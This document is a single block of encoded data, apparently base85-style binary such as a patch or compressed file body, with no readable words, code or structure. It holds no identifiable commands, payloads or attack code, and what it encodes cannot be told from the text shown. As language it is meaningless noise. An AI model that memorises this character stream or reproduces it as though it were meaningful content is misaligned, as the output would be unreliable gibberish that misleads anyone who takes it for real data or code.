zbf_i^(_<+lba&SP54vodZJdM#?j=+i?x@&MIr@u1+pbbxo&Bjfl+Z{zwTWz5IFGHz zQx|JIND$Qx&@v?oFF(4m(#8qi7v ze_2<%+`%io>mo?AWI~hj0q44XmUJy3t}(da_BcYaA_Au$B*g4WDTK&PBRIxH zZUj0>E_|u7d+(s|hK!Hx+A%Xq=H7Oh)r!ttj<4>_Y;1NYG5feX?L8^Qfh9kY#0^3# zBnGdF_s;mNZoLIwyCl|d&@w@T2{}5&KiWC{H`cngIFok}o~JKx5i}PY^IKL;_WiJP zns6X8M0-hu4F&c>#@EQ9jSK~`x{W8QkoUigO_#aMq7$PUG<-o>IK@HaX>7Ix{DuQj7%3EgokNRN&C67gKa+fs z^aIXWZLbi{Qp2pY&}5q2!zPa2IEy{NLfFtI@7w_+_ce+dcOaCKFn2dbf1`iQF3>T;X_(FaTqVd!Me7jZG<&jY>dS3Hk8@_wt=J* zAVGdB-PSpJKtogOuxawuU~;}z5DyY`QdRv=X4HN0EwJ2{{UuSQ!D2v%;|aa-vqpg{ z&e0sl%Khu2VY&ah=+A4EcX48#Sb%KFi+6)TX4XcrfrH$|smt~jQUydxQ?DNf<*RPY zz#+Oe!ZP&|3J49>5$M=!6I6s)eS!89ad0PexT1Ii7^n+oYmO>FpVO*_KG9=TpV%Kq z^+dBMA<0plO3tpZ8)9qV*qjPk@3zT&fxcQwvSq>k4jMz_EalPBk@}07kOx60ucL#* zyU}1XstnD5d;?w)7do(-eJ2S6mi$=Y?R`UJCiPNh!B`YLm!JC`(<{K2k4%=NM>toni{0_1o3*hx&_I(}oa{o`~Bcv~;*oIs4VyI7^2>w023!=Fcq z{2e+0WG|=Iuj1A6gQR&s7OSX_B1;`J-`-3gcid~}ati*`a2{*=0;|heM++^A=_V>9 zsaa&Vr0jZ*6vcP{HuJC0jxyu>?ql1#mH9AHga&O-DFZ#}qHl#RDnr-jj_-KgT*G$y z+?Feg8vU@hj=`eTgvaq=$iCb1GqZnX^Idq}XdHcl{UOMRpd=+LW6VzHmVQ=3`jh98 z^zj6){!*@8*4Ff&bJ?p*$Bc`bbqG&7R=3SqI~s+jdM0oZ>5n~<@qaFQ-o0UyAsKhw z!zRb-=y(jEaU+n!RlkM_QvfDZGFOhJ^s6n`X|vg17!DJ^ma6S{5Ng)T3gKhTWMinX zSWew`P;`3DZ2rQ@@9Ryw25hqqZL7ivYAfmm zAFw)2Zv#;V$MN`!h13H3M?4UpH2P!d!f`Ya6}pMv(@2Xn4nQJ0f|S|G#?>~^2P$nR z&#X_%-H)5tBJU=ceV{@nc+`N=-OnD~5Skp!#z~+kUn?%z-NK(F+@oRk{KX^ZJQMp| z)l`d56l>vRkkFdvOCCFY4JdtZr`Aq>@*OU1b*W6nI`4Gk2H26g_9pjPV5K0M z05<6e^Y50#L>zwPBQOVUd}#`js;OR2VY~I^hD{;->?LYbvVkg7qW-Ns4b*%z`0^Ak z+{ovZjM`rQa!n#TxzvIN;Hb!U4AksRrsva`%yyHR>k{*H+nV!aE7 zpfl=k_vz{%@)P#uHHb_i(FL({%RT+&fVfdTh7o(wI0f*X|x7u;n*8RH| zhX3vbVMtyAhKZs&Py;NLw&%5iKX9S^Ckw#lT$?lC;wcY)iIKvRcP?=DTMf!aV_3E1 z&vnmV-yC+D(0?c}V~dW5i%ZUmiJY__i_g13reX)*Qy~k`Mq%zJw}4Zi^*%m3*f9Ts zrRnAm**9qQOyIYgx_!k>ajIV0l)|3zDMul0JxpLOJ;}Q9leQu->I=oK%LT3;-D4fD)CMD*eK!X$Ir~s1D>kZCy+F1G+O6ae6j`TT9sS4f9 ze-6H28?-q8XD-E6#p! zSZWW2HiXaub?W2?2P`PRo7O@SHXuyO&1{G^-G9Otccr zLZSO2!lrqQJ$4GbqPhz@9UX7=ed9oLNuXrx3w?KgK-gLsaZtI z;tFM0WP zk+#gGrhy&@MwK%D!R7)dEZhz^8bb-wY=eAFybc^P=wMDWIlFCPF#P3h)&oY|avX*- zNy(xVd%E<70>8j7Tn`)~(oJdX^ScccS}R(l@I^7bQYI=p7Fw0zO?ed$yF8}Nh5KR6 z?PSZ_o8K5)Z%O-^!Oj^OJw`c7%G6z=|b5 za3q4zQgtRe7xfPS#6+O6Z9xmG7*Jnd2IrCKb^h|6&Up;c<4rQWtNMaJT`jo{qpGNy znUIaKmqf=?$3U?vvkg_eu9?WRN&j}dgLi~t->;jH^VbhhVbqShM?3S%=s`Ep;Tl&Z zFf91;1GAZ<6xlm8c{;=qVv@FGA2p09uRD?eI`T+6eykLkidLgfF4h;B(!odl!X=20 zp%p7Fr)i;nxOSsX&wEeS;(|cy=z>0xY9Z8&T1xyjLyw;?hp*5=%54~%v%31A_N}~A zIOhwQGiw2nbUs2)fBIu789=0j$ip6!tv3)Uk8HZM#yQW~VdA+vP?PIvrMbsmYJ7WS z>4n*Hwyo+;<~BkPZ{^7PM6K`rowmfTI%e+YTuSvypTtPj$Uu{Mn?OtlPB;7VcJ8pq zWV%i2(e^S+4fT=mY{QC^`?&qPwXfYf5944kYJFB38#K66{w*t|zxWUx5w;&BCkx$t zn($9d1yHo;6J*?>>F~17lZNDCYY(qdYB_7e>OQ@fiFv`Rd91ef1q%qpJ;V3jS`r>3NEopMH-T^4n%tEtEEiNNCFVXBn^r83^b%u|74xKB- zZY<#prld0)&Of4^a`PMIH!y1AXKAbdhk3vQI!IIW8lbe!TH&wS|0wi6%2=)i#T?tWL>hd1MYo zLrb&VYnR;CtGWiyi!Hl)W~g9b6BKH9>G>^J7ulx+@#0kWgm?wevTU|pPM?1JMr%%% z5l0=2hR}3Jq*VKSdDGq)xe!}@LximUE=@<$;lelUm+||=rQwwyHj4Wu&g{@Evz zYKEl4k4^`nN|&T^_0G(skEtHqRHZI~YmhDL)jc9d#567x}IjOGS3{zA?s` znoh6;9vFrRshfvMmK$S^ui=9VnhOviHwo;rrJy~cJO1#6g?$vN5%khb;|tB6Pv!$# zZN{*Ag(rB3tyhGYes=BWbNoYkdttqmG4-J{^zUWq>;0$I{Wb}ME?@*M7g+O{5N6_m zFUD~k`b&*%uX(w+j0!`i&OxPBrSdU25VZPa$oiSyTWO{8NX$`Z>^}hxh@ZiU*x`Y| zGr2j2naWV`lE8ixlx$Wn1vhh`)5nXL_MCoLKA_O4dR6>M_#=}SQUP&!`tYFO(@|3P z!)>ny&y)MJj-!hEv31RNjx1DLPzdh$fQTSRoXHyr4~YhImWlpGlE@l5K|=xFuZaNS z9v)15#q-!MY1<4-elyiE5Wgyn;JX*5Za#I7?r{{W^QnxQbeONp^Rp$&?ozVZsZQ1+ zoN7+4rA@DhX;x;-_{Gxhc|Oj5)4R8Dpqgy?)(#9)cO|tY%YDUU{6qYi(0o5i2+X-= zRU{&#lE$k`GXaUe9l=3lO3%!^!$=Fmw}0;B#_A9!aOu^C(hk7z3th2xyu0vJknVqX zDWb>?a`^VHsC6nC1lB%mREoRQS)xJH@1!BR7`8WB7}I#DK|(=LEJHK*w2!jWP7*yl z-FZ;)q_=iS_U7%gwt>y3PoE7jDSNE(QjG;vxYN6aGa`Hf<;%Z&kqo)4d?smh-b#Em z+EBfAPG@u<1;-d!9~ISx_!GumXZk6XLnVv%2hmQKkITLliX^d|(r*1E;|uq@D$J|~`9c1i4iB1(E)0q`2_(KVQjN=;$wLWNhU zP&llsfcIQC6~L6nOKED@gHT?H#9QKkIdEWI&Yf9sjvGrHp=XeDj*@gxhmum=y=TT2 zq2`5%3^2I%kF3Js< zGoODfP%8qaoPeCZCbPeWFi$f$>3IsuL{il>#}ZXEeud<(UsL5#Oo# zwj5pTDyU=hiLD}sNC!HHbM=BFi(AvmW&lQ?L=P|dVcOzgJ(%=GgH!+GgIk~{ela>4Cp1OSh zp=WTJ<$Db8+gS*8j?z0Ux%caBkYJqK+fi}BGA)_xtS?yBPZg>R6rJEJIj!PlL?BZC zzJn^5^%NC^o!WZ@mLg(*7Z^B>+jLk|(+P{OzgLw{Y=mC@E*3y{IoA;OGvk-BMc;+e z&p6AJU`{NE4fnqI8ue58Ze;j^z#R!cT+shC1x`0oVpO>q0YplMYo-)wa#e3{i5qC^ zP$Logg5cVnO&3(eQ`Yd4f3-ZT{pe7B8|4MnG(Z%9!a~n|5R+d+0!aoa=}KEyA+HZd zHi>Q1ua^TD_kSv>i5V$l*7M@L63|>p_N(1DbPi>tp%V<(aV5icR7DQ0KD3*)2FOrf zVHvlp{7FKt>fnqmQs|Jp=sO2mR_bwiM)@M8xM^W8{YgtL3&HKn>PbSp`(61RIkRYd zScwwb$!~y-VkISBO_zLf-SzC3%%OI^3vB9L)WX+QF8dRIOXXatqv+_=8hh$y=1| zkH3eVw(TY7E?6}izxHSnqN)kGaIj;2F16t|G;8**B4UC^xRzy;Dd?oWWrb$iSq}37 zC&cG9XP07&L{`o-N){tf-H1f+%*1~!ZGh3R-ZSeSc#RyUP-SCtOhfN<>(=ds%J!5A z9c01WR=C|RO>G|Deiu0ZpLQHc=7!&T`||s-J2?lSQ5J;o49B z{<{u5uHH8n0{d6Co=gy9MGUFju9kwHQ5@FrQq7pM(bX$-bg&TzBNGHL>Z88rC*nxC zIk#3U_J`L-I4Un*^Q|#5lv#mc;`hL<*UHV|%t@;!u^$&rLXYIhoKI zLhA9+(j~IgN@*9?kJmTC^|0us-Se4%D<&}r7iRM)Cs1@hY%{$2fw-9?)I^Sh;Vy?< zt&`t6!NzoRSVEkJI_X9gx9kO`)kbAZuq(gonoU&bxmvl;g+6VpNL=uv*B8d*cKST#8x$DEb zcLNwF&LU1o->n)e``(Y0(KMsNCoyvQx2TIK;1PDWkBP)sSYxj%?bg}B+G?pu(^i!B zyAAVv_9{Bo+#gihRa43!ROtoFKfj*U&YEQknA}+><8OV0S^^W*71#7x;6y!s^G7XxY>Ieg`FFJBT z5{0`Z!#zC=>>N|94zHl0SGaquZ=hbM;Ovgnm(a^7@t9k^fk+kQw};>s-iO$!U1~`7 z9^cMET65bPkoVj$GD@0dax)yXgn^}gVL4k*f(JG-Y+KMll5U?3osz*kaxvECi{kVz(k*2K=!v!O+fLh zeY>&INyTr~^nr}2NUdNkBSOk5DoWBe-cYGfZpYfNFvdJ^!NyMb1G5@C%IoV4vP$~z zdTegfp)5&isCBjk?+EVSn1LZ6*S2PC)54BoU4V$)Yu9IR7aWitAshG0x7rqU4pTd)S zZ4?(g;8MWB-#;GF^9meqCfiRA!!A-8E}}{>(g%6-UJ&DigxX;p;z?iUu@itx9ZiMJLVc>hO68YILuq{W+sM7s7cl2GbvA=z+rut)<=67!RI>83| z_Ra(2`R(JLxVBGZ%Rm@CugHc>+x@);)EN3M$lqVQRvaS}_Q(z5X8<xA;$Z-V*V|HWvaVw5&*3pXwXQkfYU(M_Q=16j7OCWa;Sk~B_U zZJJwYvye*&^fiPSHso>g>%~;HdDJ=P)yq_QIo$8k7$1%X{)5=WniuhMy;1({{H|~E z!ub}3Xds%tT02g=ei9@wL-Ho;?rM_F$j4B!JJ4mMNa8D)*8VwKS4@oi8j|N}b!NSx zP}|%}lge99BxU?%6)b)x5qp9q!KI6e18@5g*@)|?R;-(VT) z#BM&EvH(iOIYYJ*7vgezI0YP>vv4#}`s|JhT?TmU{vF2T#Jk94Yv+r00wm|j5nk{( z6*?kd-x7M>K62LsHXy==D|Q0uTs%x!D_|_|48UjZc*dyU6T2JflH!0^UNcEsxI^57 ztc7N}Z}R?@7MQ$cs<$f#Z_(<>CwO#20wn$R!S$mSP>@uGz2!l{_>}?HEA1JCGeh#v zI^M4bUAi@I#8&naw0YF0`HWtL4w<0cr|dujpDg1_`gwxR4s?qn6j-ckBtvztT1Q(Guw1!~{EMhw{+e%q0^SZko7)cJ# z9Xjo-<9JH!4`9ZqrP-RXG2Hb*e*$R^AHq|v=Gp=VTpheS=>*xHy_GKy?61y+KrEte z5lQ=LV{60CeFT}0angeMV4TSM2oKN~z8~faO1l{DO3_}EZppwUf*xi3sh2PD)&R@COeDf-O%b)oWQMH4>et#ZzmQE5 zrcZ|NE6_qANkEG?NVCjDG==l6siI;bf+*lOQQ>>_KD!jyEa2PqCBYT#0@#-G~G z+sLhD-Mhd=yq*dc`?fhw?*&+&^*)D`to?Opq!6DC-2-W!w7#Q%7LdA-0$}>{VqrJZ zQ4(J)fX$MO+$^8u5Q;4C0>Jl?Xs4wVg#pph+No_=2L8Dnlk!10-4_kq5E~E|t;l_Q z^biFNoN9oDcnD+=fXw{%ymx`=|K9lNRToBb z6nF&%<$)YMp)crBx@6g1m9mM3mV?b|P%>?xOF51X76y2>gI0G*AsFvjZGlm3+{jH@ zXSZ=vuxBL4!Z_7N{W%Seg7Z}Krd|9$c2cGS0>y!nUNMIU+vffCgcC|Iw;uj zC185uTO@Yz|H~WUU~5M%aQ08!%rMa-`xfx%uY*LkN<>o5h?p<+`969yGR=R*OyuRS z{HGJYdnB2FR@VFr+v^)6ZH8Z#;idIO`>{{n{Iqw_{bjEI@|P$WkJT5_E;rKFaSV^q z@cP87wS5M+(Maac3>Ei@#IFTD|1-)L*yqRH61fj=x%uB{Jsp}KD;v4t^+Wkm08~Sy zS7I4K|8o#vaM|skz`$#jCoN+w%_sFntMl>BW?WgTl*{>c|NcYTWAvzVf6o8Y^@riq z8O&*(?=LUruk<2-!}Z$jHOFj zVu05b`<%r2L>Ams7X1mim~OkEY60$(6y+waV5HF!=EOINiBkPs)`_`v;j6P(7ud?$ zYcI7{P<}dHDsSqa=!q_u{cJ0H<72q;^SrIm|9hyq*LJnz@#$t+#FpRG9EuJ$B?8ePNM=8^03WN@YT+{@#ju%Oq^5Ih_5Y+qj#Pq0bu(GAocUwr_J qJ_>p60TmUMmJNd^$fAW6X? z=bX6*f8YPR_q%s@>sIYF%fd5T&Q1Mubm`kAZWk9@r8CNFVUfW0;PG@Ll{eZI4KQ7bnOX`;QR z;fH83hiXOpmxL$c9}(T<)=hC&$P-eSi>BYpkfUN!u^QUMd{+D^NLG8~usp6HD{D1g zq&#@)#?{VKysky0MWjxorLLvp%Fn!STWUyZ#g}tI#(Q}{Yb4dgdW|*UYE@0Hu%d!5 zQ!Y^UXlo|j=Xg`S&F83)QN|}Sf#2II;0z7V$s#3 zVv|3@sI0+5GAEYu^uzZOqH+Vy9W>ARaA>4G_^f=l8V+*@oHJ3J7p(cP0(Ih7+f);G45_0$*p{eo>_$?Zp#F6zAK;9xA;z%vTB?QaAQU6BW$Np7!^ z|7?eKaT2IAbkm;Mc)8}U{{7ioKJ})+o9n}(ix~U!fh^~3tgj&$xIq}Wr(~yj`@%ja zIY(}bU3ePJ=j-KGtTrZl8@&#{J{$hP!X(DPB#wOe_9`z>NA6~=W2D{xf_v?JquO&W z=jKlH(Qy;W_PxwIe@{!q8*8tR&MghdOoqW=mU35TO7NpWm$&zC1qI2&aWA*3ne?Vd zB0wMsiOHi5Bi-SAg^;2#3Q+v8IKL(Q(f%W=!u;PJ|UQ z7*h-41_ha6oy>YmbIif|`Kw-7dx4%4vOM7j*@z!_Zl7CmeH-_VEjf7Dc6|xa$T1}V zMX<+UF%#clUtcXmudQ)0A?scYmEAYCl)4l=;m^N0S)hmy-izxODczqmy0y2mryQsse04yfFh1n)D}mt1-BD`-9&`m>`mj!W znMwe|)xO)exBNE83-$XSb@i7bm_~X18eyY7afb^OshCH>{*<*OF$A-+7k1};x|(b2 zQ7QaUmoD8ZqTVR-&384SoWaV$pA+BuJB;StXspE1m;Rjn-5Ifls!l+5_Ufn>N;l6C zkF@Pvocu`X@a2>r_#!(x7i6Q*2{C?IGTH08R%Rv#C1K)BXa94DZ$;_wkck$wv@FI_ ze2HQ*IpCN}2M7CKPrq0#Zk}{cz=8CLtIpvN;H##7&Uf`0tr}|29~%=L42Tr=p|ne4 zjLh`gBCe%Qe+oJ|`>plJy%8tpaaPyOhC)c5Pn^!xk#T0gsPms^G%erh(;!rC?{fmI zTtnLfX6TxWFOeq_!_@(1_dpwxiyt5pn0PAmD$HrceDXXTd;t^YG7$uGAK*g+c`7D1 zL#}SH$ya4J<4SJoN9At2Z997N1ABanY}p2{xJ)KZARRm=IS7~UR^=8bjp0)Q^Rqgb z`(_7((joZcyd_t|&2CXgzD$c}`Frs$OxBKo*E?9_!mJZko(oDhkX@P5RSv%p&Lm+H z!QsgT*`rSq;in!{4yh;N6(?tqq>i)HwHPaD&k+eu%k@g$^Rv%|fhhsT$2QZsr&`-} zUN`3sqe<&mq6AFxWEf|#05D4RWo14s4(FH^2Rog1C^)K&lZ z-XJmRFz+xt?49PKu(C+!7+Do{qdCF>l|oj)6KOyM`qAmxHk4o6Tu43m z4uL}B_SA2Rn$xq)(n;UDJn0m|l!7eA=scT60;O4Fz1C`YEq9&W+|2xCt$kphQUdm$ zh*TR0O1O3`uj*O`hBCgS?0Q0oE@U-5$${es!H*d1!;4#so``GbB&qe@oay>FPck+i zhyA$73UQ7yz}HWUlS~`{Puo;|*&kFyJdisT5iIWTKaGM<9;est|H-b^H7~a+28Trk zHf#nKf2xJ6_}!4l)#eq(WxZecwG~e6G9giou;`HKzd$p~DxWJZV8%nfvk-4UJeilv_r>Z#$LO@J(s12b_cU`J%=|5PShO;8l2s}7?;+Xp6o2FunEen5$K!f z2u6z6Bltoqv|eIcfG#wfmbU*KoWk3N1kdW;f4=uaaZC1JNmI1qeRlF%v6) zv8&hDZL%QJnodQq84Ur%Bi{Z8*%kIPGgQ3nFjD+(`2$Pvl3MJ0CBKAa|5mnFJM#}p zcFV}Ziz_Tayf^%s_9s=w>M(OD=*?lU@wp;M-y2%i0BQFcv(Iyj1dE(jTdGK($$gsS z669M4eXI!6u(@2uJ4rExm)pM~?g!yRQFqn|u2|*OSBQx%7O(eDDn)$`smFEvzk90D z1+Gy$MUhb@05PHSC?fra8g>jXw?11~>=?hHS2jV|=;YNTc1X^u_%^!atG&{k;D@4R zp~dv6T%%ompY$M|1ZpcLYVMd3pb^fQTy+ zK>wa(2P`@mMDkZwEO8J#?uVk;?MWXpFc3~6PeO5SuVw=_!B(#aXbJ<{i4y}fLrDGm zUm^}5udEcL%!=z(hRr?9*u?ng8K&B~Ex?9GDuyMOE}e=HP-VvrZ1(listXCn-;0c~ zeyf||8Yd95KrOgPz5vG-BQOy3a;{NHKmhK-#M~%ut$GJrHuN2#oi@}Pm8Y;B8=)G6 zXG|-Pk7r}_3FK#n<7Wy4m5oy|)mIfQewAX6cD);K(fww!d6ad;F-L9)#KrUb1bM-! zVs7$B&$zVY+Y##2HR;*!ao;yjOQjh<+87%t5U3v-3=0a_Oial`R8=)5MGe&HPDGy1 zY4PyBEQH*MFZ~MoLJZvSCI@jY+#iPGGiKp~1~!aPvVP1q(#%k-;L}sj9OM`?{%tVB zuc+QEV(+X&DYhc!6N7U}98k0A;zcM3a;}5D~~S)@@?UXzn&w=HLE2 z_chgZZnpaI_N3zWWb>jZ&(Q0YzLpEgaO2R57NufsIq~D~yoEse)5ZOE7g3RBkY=3J z(28}GjWr-pq7C3rWX%YEF)!2lg=XJus-%P77o4x}G6SZ8NvWApQj^<~`< z%5q3euzR&=8?V(IWSPR{!+9BGIn{-&+K<4S!)m05*ClQbc5bTzl}a^!0nxU-m)c*7 z+mPD!k%7g8#nw8h-$ouKs`{gO8y@pf`=*2SbZKnNP~;%`)|G^`nDHT1$XM0yLmD~) z?<;;19;FIv3JqE4=-4D4z6g}R(pw{7(dRddwyYy=gVUvP@S=6e*N8i^KPq0cI)5Pu zENtZ&@{l{>`6QiMXlzoc-7uy>$Yi$q2)GM=Y(8sHi;AV`y6kXzPR`)X;Amnk*A_Fy zAMyyb(6S?rweUy7TtDraCSkq-ypDPA_N^VEkMqd<17aGv+s*7n+ks_bjq7NOOhY{8f>~LeolzhNQ$e8dLR(+dEz^Z*CnafVGSA^)Vp)} z?D;a_sms#^cGTF+=!d@w94*O$;7dL}Int8g=_c2ZT$S{oBgm`L{JXYt@29JJ*Eol! zCivbd*X4TU1!jT|OkCdg$}qWg4CV37=w!u=jysfeA;bvmM=H3$(T@VfoR6`cOHJiZ z_(*qLE&6i{dgHnd8{5Mv*#`@`TIF;R&>4vo++wk`RUO;ShWnu2`Rsz;B$g)yaEp>> zBc|r;eCh`d4SdkF7b8XK!^eZ&@cFN`bQUX=jb0t`3xU}ST%L0YOm5y`Ta4|hS}@HN zy5IYjc9@gEgJ85!NI50={bg&BK%xGK+iE$Vy+O+gdSp~5!UVp07o?+AW1FER8clE(N{nP+5QVYU$ z=&_obn&5{yJASAtDFw@`8Xgmb10kl??$<Q5FS8TWblbxmWm}U$cci4DZ$a((wHKE5 z=`J2=sUuWpx(x*_*njyoVd4mrcTIgXDO+QqsqGAibL@77ouUURzTk3 zpp&>9US-{Y zvzOxx477zN50l&ZBww`UxK3;{ux(q>OLSCu*|_%N-j|R897hJO$4P=WB?x_A*7(r` zA>@@+Gt{3`G*?y2pv^I!U!yzyVyDjYrq;YnQR#3bs)cglbN_4_(l9`&14`O1p}&|ZdR>s(@_8X}+r?Iok(L`{Wox?>m`OMpd^ zRGVz*H=BqHxqq@60q^99Jm1s!Wzun;+T9`;T*bPC4hJg9PaVX-FKm4|YrLrrNPH0; zsk_`$Y~T_qEXe(I=Jj4)%!}fR0T3@^Hf@#!J7nQ0X*Etn&QdUZ3lTF_qxJb7s8{&@ zp$r7j6gWv$x<(ZP65l`*lX9(ydLx`f9gYSbP=69@J|l34j2hf2k-&+{+3q;8G!T!^ z?D+)o>=+^l%=^Vq|)dx?jrv$fu!h2Hev4Ry%7y^)*(w36aVpbmMHO=K+B1ddd%k7e5t~fMT_-5DChG0&)qQI z%5SBJ!*I*8A%_Cinvr8BQ3QQuC-d*0VQ{inDBBmGjWwE5N6Es_G}~k0nXh?AOADS6 z_M4eow-`|KEiQhAlr7VPJv_vbiu)zQDYSTA9nmEpK4b`sWR)~ON^ztWDVaA&uO%p{ zC{v7{Zf1?B)lh+ije?*?hF@ID+SC*}l*d+x*J7rm8bglAA@K>`vHkj?{7|Tl8B32m z*NPsrS$csF+YD@!{gs*0jZ!RKbpL`+C(Vaav#sXoy-Fir8?aP)+P-6%JxlLiddtkw znjxrqqBz@AB(;8T{qZlEhH<}DP&iykBsz>V5ym$F2|gBb0`a<{G6_}ISz`cJ?-B(h zLk{Q-DTk5)^$l;iU+hJ=iGy4u9IghXrW`A&dc(16qCWLV|Gbj{ZAriwvql{iP&!#8 zhrOE2tPo19R0tL9y%{*!*)mzJ0sR|nRuL>_+*-L|f1BGxi$++gZpno7Vj-M}-zmi? zq3-8UyY+WdkiMk(ep>`r_+;3m>YX@3^jmj(b_)7ujlPRtZqOgaX=v(I01 zCCgYGDW4Z+3nQF88P7~o^<2|#d}(L)73s+nVSbkr@~Azbgf~+77bd7$>MM3`O+%FU zr;|r7sGgIFq3>?KJ#J@8ocJ}z80Lyd32o;(KMl2YXppuuE2_V$a##7~D>+P+9#LPV zpnz(ASfD40OPvN2eYBP@UIX#?@jP^x0xU)7RpKak8}w{$10OOi9G>$?WR>a_`1vk% z5S$3h)&325x_~U?Rfgnn`mY}VPD)|`zuxtJqQ5&r)$`s6+|<^VBhd7R)Rsd3r#`mF z_AF>lv&m(lJ@e|T)grwZG-{Lv@DR&98Q-*A|6?=t0k3X>w?NLW{l}Md3PYT^S z4-|Qiog5%FTjKC%0M^DtWe9w$HJ$n<5-&Gv_)`Gso<1*0WCl*e&ag)kkwH9u#^%fEurRBiMe|m@cAon1MKABe z#aChh@?$pQAqb_Xo3z_1vAdgF;-@5HYxX%B=iOgl;K|8Y^enhqIge74jVnxlHy?bL zCi)T#C;F}U8#}3%cpo4v?WaCG6?I$vk?(m&6CR@IC&VBH3vEALB%qaov3JowTeR`| zeb*^U6K->#D^A4P1ch^-KEJ+Rlven8WXfylLP14TZ#+X037e{9p`6YZHVmbclOefd z(yHM-S!D&!$WZU=>w6;`(i1TWFui$x`*>Dv!zw+zTzW)cskfXn>Pm4hK)UZ9eo-%B z7*Bs7cbTXfM~g0zm8uj;hMQEHqfvc*LSqtt{@HXNC?-`HQQ`kd2~}Y9W9LD>f;dOx_>($weU`KPqu8qRAu`k^2aBY+}i#$ zz2!1X*v+SbIXh}K9%EF&Zv|8VO+hFTU>@!zijnB0*%9)a@5t0!ggcaUG_Q?YU{aEn zTzUM;fs;TuecfomB+>xvJ5Eb`~5CT0-CdK=j6*?xQXx?IOq+tELNtNA|0RziM zvq}fJqGUy&AbB>URd_2cP;`~5 z-q5y*H0@miQ8m8q-Ngq{^U(K7IaD=}La^T~NDgS~&`E0_u$D6krTQ~b6V=(P`C zU7%G*)dlQ-+BoCz3>B#4erw@L`!(!q0QRC0>e)NRffmo5G{(1oU`?a}+ucMr1_lPj z^>=fJsm@;~A}%EtbkFY3>Pm_7!#~8zKh~TU2IB%jKhZ$vn?u5NJ_~wv2-D}67I60> zD;(RtcR{^ZC=@+kF~|smr-w&FzN;hwAgXd2H7kn9 z{#KVzg9Ff1OQ(_eKnBJ$HEd5v3`ky#5p1>_c=xoVWeVwpONDCjCfaA9fFDDgI zl9H^t04_dut*52~lH;56$qo;o88xJrPy-PUB?zm5^ax>KHRC=86bE z!iTYdrvW$&hrb~V3KGCFNN*(sZLo$Zrjg2@e}!b@QmO%amdqS5rNu|kYu1Iet0n_` zRsU(c6T6E+J(mX7}G)FRyNXuan~#NrJe&DJ7KTJ$ZR5Ox^RvlUCg`N-K&#iix!> zmfVD(C29;zD?pajJH2m?SYR7dZSuXvFkml&A~d#3L2z5AuRrD@0j02o(-MLHN%on) zMYZz=#AXZMPy7a`oUNa(vim+}1>E*U)nXYk5oW2)bFj^ck6lzNR7}27rNmC ziOguzcN~X8w1CR&_0+PkK}*aSnC?KH93Oj|Cl>`X#Pwics-wIz-3bQ_v)ut5)!}u& z=3`@)8KnKVT_4MZwFWGyY#^AT|kBJ}hqrIpf z_W(2_29^$BDALZVKbVLy-i88fAJ^fb?e72fac1?Vs;ckqbMBKIqPT>AdBtq`Upb!h zZ{ax)NmlRNawxdByT5ZwGrlGU6s3^zw(6Ec0V1;P-) zm+lRp0)z@FVL;N5_>lOF5K4x-Z@oC5=%A86XM$47N__~H{)?^zSMt8kmKtZDUw%-M z|2|q6RaaujW1<@Otf2x)_)#Aqtm6K%l2_@|l^dT1=sjt4Ehua!nlI7-+H)}^nAWj8 z(Wl2sv*1cMRbn3m~*aB?*U10&07pyWq6P`=!KYpb&&Vk`zsDd@R@fCXh(lRM}35;=ufJpZ~I-jRT+^{tJsA?fRUWC0uQ~h zal-xTXmW!oqk}zFPLp@Q+`6rK5;d|uWrHd}MS7VP=Z-hdRyy&#JOrD!7N@@2^|di) zSZUP1OJQK{FVJxI&4fg4TCMUpY`0(OPtTEovihxo;4*&*xbopG&elnFc-DX_H>^oE zw7MHZ@pAJfsrJ8S0V0Ky$Qb8fxKp{m^@Um!qI=s(dNZGV3hYG zXm2g&l=$1w5c2r=IMHxG(@e}?0TRvJnKi+EOGI|0)=I|_x5frKDmtI2CLV?jIi}6@ z|85oW-k)ateGg%cHA00Ni$q>MaiG4tJ~lR%_)8x!Lgqc(DPE|K{&QIH7yrT`w#Ohk zJ*}|fZ8HDq>FLXb$Ffc7Ixo#)i!Dw=nO8h}SGh&3yh#&u*=ePRSF)ZFgJSn%RUKb* zefBP{m^g9IF52EMa=f@M-|Uip|L_^0g)F>xHlT=~o=&d4M-f!KP}whBJNJh(f`2eE z{X?lg!rJ49Ch0D3c~3)gjcR}016g<;GLr(dBpQ1_eR}^DGxP1O2L;`FljQ%$-t>Rs zq)wwkyHj+&4&BlhrB~09b_AvV2CG%&;reFt-Qq`BPk}zcv$!C3w28HMw|gg%M3?yj z!^}c=^=4ri(S`eo%bqsXkHrkCRe^+Hz$y1Me{FqS2!~hZ&c{#%61#eIY$U?okzs-&@QBBAfWAuOQ%*(ort^8c`s zN+ULYe$p0c4!b-rnUMAF;qU&Apv{9P65(Je1_$8*Sp=SaK^b@PW9gTY<6?}v#`Xes#po#z66nr$9k!B=$+AqA~aoKKRnDzu73V?G{CByj@Fp3Kc=@1k-`L zFuy$E%6e8qCNR9OaJf}=hzgJ3QF*qo<9>;U4nKM?{fi=ty@M8O-gaM+gq@yL2i1?0 zLdvwJS+%%h6{fn!HAtLT_Obd!SK`RqUe&z;4G`7q%xCMxA*&a<&K&$KS?RSe!nlny z{^??98hmRSs~bthN!NzPF{*3w8rD2B1RI~#)qkx(kC*#a@>RxP71Ni+vipblC$_9l zN;tS@&!|!uYB?M=jV-g;beqC&!2q|za;d*NdvZ?dpB!h&pCluWfbz$crE<-6q$+Lj z8~ls?S)v-@GEHNa*CGoCT%No!Jen1>yx;i24itR-7Uy(UNtC-O@A%vs$b-nMbC>!Y zh+ZMZJ6(!5b=a^4m+~_8)|5W{2S}NhrUxB{;fDbDL>GT26dO|n2#+FTieoh%d9}~= z&Gjw84cfWkA_pa9Uvn0mt@QuGlVnVLng#ihn&>|ZJ|hVRqyb};w)Yb?FTjl(XwTYI~}OT zr`sf?*k3t-qEJ(>xcyVtd5xH_yPCD6J9g^aBMr~94+K49d3(=_2dIX=wJ1F++j%-f zj>XOlJdXG3g8onmnGW=mZ@xCTEHV8RZ0FGwHBo-TE<*>`cbSpa^&Y{>~YDPu`Oaoda00@4QUr%D{RCw%}KjZP0tl>hcb4FJ^` zO#L&evk9b{Go2LwG)~EZU66|#{v9g%|Ah!vCFWnl*4tcBlgr+WqI4P7`4j{|GD`VX znVUFL5>pNo!xcDG0AvX7827636rDfLOJvQ|rQB@5oVLy%q z=;kgl2^Myts(czuT?9JFQsz+3yhEEI$1A{Byv{${vWdl0UY1Yu(rk8+V?MRs)NFF4 zk%V$WKkG|SI0vZXa=*XIVf4Ke(qt76h$*sIiYTA~%psjs`_ZXjfY$5->qkql;kZ0O 